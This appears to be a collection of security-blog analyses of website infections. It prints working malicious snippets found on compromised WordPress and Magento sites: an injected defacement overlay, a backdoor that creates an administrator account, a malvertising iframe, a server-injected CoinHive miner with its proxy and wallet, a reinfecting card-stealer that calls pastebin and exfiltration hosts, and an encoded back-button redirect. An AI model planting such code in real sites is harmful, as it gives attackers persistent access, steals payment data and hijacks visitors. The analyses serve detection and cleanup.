Innocent Defacement

When we talk about defacements, we’re usually referring to attacks leading to a visual takeover of a website’s page ― consider it a form of vandalism or graffiti.

Often distributed by hacktivists via political motivation, defacements usually include one of the following scenarios: either the attacker has replaced the existing page with content related to a specific theme like raising awareness to a particular website vulnerability or a political topic, or simply hosting general information about the attacker to get some “street rep”.

Once in a while, we find a defacement that doesn’t really fit either of these scenarios. For example, our colleague Kaushal Bhavsar recently found this defacement that seemed to have only one sole objective: to be really annoying.

Innocent defacement found on compromised website

When visiting the site, users see the overlay (above) with absolutely no way to minimize or remove it from the interface. And while this may not seem like an obvious website threat, this clearly indicates a compromised environment.

Here is the code that the attacker injected into the theme’s footer.php file to serve the unwanted pop-up:

<?php
<script>
jQuery(document).ready(function(){
    jQuery('body').append('<div class="alert-box" style="display: block;position: fixed;top: 0;right: 0;left: 0;width: 50%;background-color: white;text-align: center;margin: 0 auto;margin-top: 19%;border: 4px solid red;border-radius: 10px;padding-top: 15px;padding-bottom: 15px;z-index: 99999999999;"><p style="color: red;font-size: 18px;height: auto;line-height: initial;margin-bottom: 2px;">NOTICE!</p><p style="color: red;font-size: 18px;height: auto;line-height: initial;margin-bottom: 2px;">Owner of  https://REDACTED.com </p><p style="margin-bottom: 0px;color: red;font-size: 18px;height: auto;line-height: initial;">This website is not equipped with readability feature for Visually impaired!</p></div>');
});
</script>

?>

This defacement may seem strange, but we can speculate on why it was added to the website. Perhaps the attacker was trying to be annoying or raise awareness to the fact that the website was vulnerable?

Luckily, the attacker didn’t include more disruptive malware or unsavory content, but the effects of this compromise could have been devastating.

To mitigate risk, we encourage website owners to keep an eye out for any changes to website files. Website monitoring solutions can help you detect code anomalies, modifications like this defacement, and other indicators of compromise on your website.

User adder backdoor

As we’ve seen many times before, there are a variety of backdoors that can be planted on a website. Post-compromise, it's almost mandatory to review the list of users with admin capabilities within the website.

But, what if you check the list, remove a user, and it suddenly reappears again? Could it be a new compromise? Could there still be a backdoor present?

Here’s one of the possible culprits which was found within a theme’s functions.php file:

$createuser = wp_create_user('admin123', 'admin123', 'admin123@gmail.com');
$user_created = new WP_User($createuser);
$user_created -> set_role('administrator');

It’s a very simple piece of code that allows the attacker to maintain access to your website.

This shows how important it is to keep track of the integrity of your files, especially plugins and themes.

Hosting page templates causing your website ad campaign...

It's quite common that hosting providers have templates set for pages like 40x and 50x error pages but it's uncommon for those templates to have ads in them, or even worse, having malvertising that will blacklist your site.

On a recent case, we came across a scenario where Google AdWords was blocking a campaign of a website due to URLs from www[.]iyfipgun[.]com.

Upon closer inspection the URLs were coming from the template that the hosting provider had set for the 404 Not Found pages.This was the code:

<!DOCTYPE HTML>
<html>

    <head>
        <title>404 Error - Page Not Found</title>
        <style>
            #ad_frame{ height:800px; width:100%; }
            body{ margin:0; border: 0; padding: 0; }
        </style>
        <script src="//ajax.googleapis[.]com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
        <script type="text/javascript" language="JavaScript">
            var url = 'hxxp://www[.]iyfipgun[.]com/?dn='
                + document.domain + '&pid=9POL6F2H4';

            $(document).ready(function() {
                $('#ad_frame').attr('src', url);
            });
        </script>
    </head>
    <body>
        <iframe id="ad_frame" src="hxxp://www[.]iyfipgun[.]com/"
            frameborder="0" scrolling="no">

            <!-- browser does not support iframe's -->

        </iframe>
    </body>

 </html>

If you are experiencing a similar report from any external providers such as AdWords, the template pages are the best place to start your investigation.

If this is indeed proven the culprit, a quick fix is to just force your own handle for certain pages on the .htaccess file such as:

ErrorDocument 404 "not found"

This means that it will simply display “not found” instead of showing the template page.

Using Innocent roles to hide admin users

All across the internet we find guides and tutorials on how to keep your WordPress site secure, and they all approach the concept of user roles, but not many actually approach the capabilities of those roles.


The way the capabilities are handled on WordPress make it quite easy to change what each role is allowed to do.

How WordPress Sets Role Capabilities

To better understand, we need to first look at how WordPress manages the capabilities of the roles (what it is allowed to do, be it either add/remove users, create/delete posts, etc...). This is defined on the database, in the wp_options table option_name - wp_user_roles

The Risk

As we previously experienced, attackers are focusing on modifying serialized data within the wp_options table.Due to the feeling that webmasters understand the role “Subscriber” can’t do much about this becomes a serious problem attackers can leverage by simply modifying the wp_user_roles field on the wp_options table (see below):

(Note: The attackers first need to either compromise your website or gain database access in order to accomplish this.)

Attackers can quite easily give every subscriber full administration capabilities. Allow me to show you by using the plugin Capability Manager Enhanced

Any subscriber would be able to do pretty much whatever they wanted without you noticing because the list of users would still list the same number of administrators and subscribers.

The only problem with this is that “Subscriber” is a full administrator.

If we compare it with how it is supposed to look under the default role settings, we can see how damaging the small change can be for the website.

Conclusion

What if instead of just one subscriber, there were hundreds, even thousands? What if it was a shop and all your customers were now basically administrators?

WordPress does not have a mechanism to warn a Webmaster if roles other than the “Administrator” has those capabilities.Seeing as this can be set on any role present on your website, it’s very important to keep a sharp eye on the capabilities of each role (especially post-compromise) as it can be easily used as a backdoor to your website. Usage of plugins that manage the capabilities can make this easier for webmasters without technical know-how.

Magento CC stealer reinfector

We have seen many times in the past few months how attackers are infecting Magento installations to scrape confidential information such as credit cards, logins, and PayPal credentials, but we haven’t approached the methods that they use to ensure that their malicious code is added back, if removed.


Here’s a code we found on /includes/config.php. This is a prime candidate for infections once it is included right on the main index.php so that it loads at every page:

A default config.php file should not be changed by the site owner directly, all the code is added by Magento itself, seeing this code on the file already triggers a warning.

On the first block we have a function called “patch” that writes content into a file (patching it). This function is then called to write externally obtained content and write it into specific files related to the payment process or user control:

/app/code/core/Mage/Payment/Model/Method/Cc.php

/app/code/core/Mage/Payment/Model/Method/Abstract.php

/app/code/core/Mage/Customer/controllers/AccountController.php

/app/code/core/Mage/Customer/controllers/AddressController.php

/app/code/core/Mage/Admin/Model/Session.php

/app/code/core/Mage/Admin/Model/Config.php

/app/code/core/Mage/Checkout/Model/Type/Onepage.php

/app/code/core/Mage/Checkout/Model/Type/Abstract.php

The malicious code also obfuscates external links in a way that a simple variable replacement and base64 decoding can read it, but it makes less obvious for the untrained eye, such as:

$link_a = $link.'YTGgAnrv';

Convert to:

$link_a = 'hxxp://pastebin[.]com/raw/YTGgAnrv';&nbsp

It's not the first time that there’s malicious code being stored on pastebin which is then directly used by attackers to keep their infections more “low-profile” to make their detection harder.

Looking at all the content stored on pastebin[.]com, I found very common variations of malware that intend to steal passwords and credit card information then send them off to external domains for processing or sale such as:

hxxp://magento.ontools[.]net/update

hxxp://www.bgsvetlina[.[com/post.php

The code is pretty similar to other ones we previously approached:

https://labs.sucuri.net/?note=2016/12/13 0:00

https://labs.sucuri.net/?note=2016/11/03 0:00

https://labs.sucuri.net/?note=2016/05/25 0:00

Two interesting facts is the mechanism that the attackers add “error_reporting(0);” to avoid any error leading to the discovery of the infection and that the size of each of the files is verified to check if its necessary to reinfect them again.

As a rule of thumb on every Magento installation where a compromise is suspected to have taken place, the /includes/config.php should be verified straight on (I know I do it first thing). 

Removing just the infection that you have a main concern about many times does not suffice to clear your mind. You should always assume someone is out to get you and that they are still inside your website, so looking for other kinds of malware and backdoors is imperative.

For Magento infections like this, you can use our step-by-step guide on how to identify a hack and clean a compromised Magento site. Otherwise, feel free to get in touch and we’ll get you back to tip top shape in no time.

Server-level Cryptominer Injections

During an investigation on a recent case, we came across a malware infection that came directly from the server.

Upon further inspection, we found that there were at least two servers showing the same symptom: cryptominers had been automatically injected into every web page after the</head> or </title> tag. The sites themselves had not been infected. The malware was coming from the web server itself, which modifies web pages on the fly. The servers we have identified so far are 5.196.91.117 and 104.243.40.34, with around 60 and 120 sites respectively.

This is the code being injected (line breaks added for readability):


<script src="hxxps://coinhive[.]com/lib/coinhive.min.js"></script><script>CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://176.10.104 .249:8892"]];var miner = CoinHive.Anonymous('49MvxieMYbGSbamYfv2ajQ52KqGATcGttPNhPCb4TXj3B2FimiUav7nF3hSWioTqujByt2cVietKNVwCkVRGX2qpC58N79b');</script>

It's a modification of the common CoinHive miner that uses an alternative proxy (176.10.104.249:8892) and mines directly to this Monero address 49MvxieMYbGSbamYfv2ajQ52KqGATcGttPNhPCb4TXj3B2FimiUav7nF3hSWioTqujByt2cVietKNVwCkVRGX2qpC58N79b.

Any webmasters with websites hosted on either of these servers are recommended to check with their hosting provider to resolve the issue.

Undesired Redirects

Whether it is your own or a website you are visiting, undesired redirects and pop-ups are always annoying. The situation gets worse when your visitors start to get infected and your SEO ranking starts to drop.

During an Incident Response Investigation, we identified the following code in the header.php theme file:

< script type="text/javascript">document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%
74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%20%0d%0a%21%66%75%6e%63%74%69%6f%6e%28%29%7b%76%61%72%20%74%3b
%74%72%79%7b%66%6f%72%28%74%3d%30%3b%31%30%3e%74%3b%2b%2b%74%29%68%69%73%74%6f%72%79%2e%70%75%73%68%53%74%61%74%65
%28%7b%7d%2c%22%22%2c%22%22%29%3b%6f%6e%70%6f%70%73%74%61%74%65%3d%66%75%6e%63%74%69%6f%6e%28%74%29%7b%74%2e%73%74
%61%74%65%26%26%6c%6f%63%61%74%69%6f%6e%2e%72%65%70%6c%61%63%65%28%22%68%74%74%70%73%3a%2f%2f%67%6f%6f%2e%67%6c%2f
%75%52%77%74%79%49%22%29%7d%7d%63%61%74%63%68%28%6f%29%7b%7d%7d%28%29%3b%0d%0a%3c%2f%73%63%72%69%70%74%3e'));</script > 

If we decode it for easier viewing, this is the result:

document.write(unescape('<script type="text/javascript"> ! function() {
            var t;
            try {
                for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
                onpopstate = function(t) {
                    t.state && location.replace("hxxps://goo.gl/uRwtyI")
                }
            } catch (o) {}
        }(); </script>'))

The malicious code above manipulates the browser history entries through the use of the pushState method() introduced in HTML5. In addition to that, the attackers emulated a “popstate” event that is dispatched to the browser window every time the active history entry changes. It basically means that if the visitor clicks on “Go back” in their browser (usually a left arrow beside your address bar), they would be redirected to that particular malicious goo.gl URL (hxxp://aliveforfun.com/random/).

These redirects range from leading visitors to rootkit distribution gateways (Exploit Kit), inadvertent ads and pop-ups, execution of unauthorized scripts, and much more. It’s devastating to both the website owner and their visitors and that’s why we recommend having a File Integrity Monitoring system in place to detect such injections in order to reduce its impact.